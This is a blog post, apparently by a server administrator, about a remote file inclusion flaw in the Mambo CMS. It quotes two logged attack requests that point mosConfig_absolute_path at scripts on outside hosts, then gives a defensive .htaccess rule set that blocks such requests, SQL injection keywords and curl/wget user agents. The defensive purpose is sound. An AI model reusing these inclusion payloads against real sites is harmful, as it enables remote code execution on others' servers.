I know that not lots of people use mambo these days, and most of them upgraded to joomla 1.5 but in case you happen to have one hosted in your server, there is a known vulnerability , hack scripts using the mosConfig_absolute_path variable to load malicious code from other webhosts ,and that gives them the ability to run scirpts (you surely dont wont) in your server.

an example is requests like the above in the access files of apache:

/CMS//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=
1&GLOBALS=mosConfig_absolute_path=http://www.rgboy.fi//spreadz.txt??

/CMS//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=
1&GLOBALS=&mosConfig_absolute_path=http://forum.redglove.it//c.txt??

securing/hardening the tmp is one thing, but wont do the job, the rules of the latest Mod Security are not easy at all to write , you have to be good in regular expressions.

What did the trick in my case is re-write rules.just create an .htaccess in the same directory that mambo is , and use the content:

<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine On
########## Begin – Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
## Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
########### End – Rewrite rules to block out some common exploits

ServerSignature Off
RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

#Block mySQL injects
RewriteCond %{QUERY_STRING}    ^.*(;|<|>|’|”|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC]

</IfModule>

If any attempt will be made after that the exploit script would receive a very nice error page:

Forbidden

You do not have permission to access this document.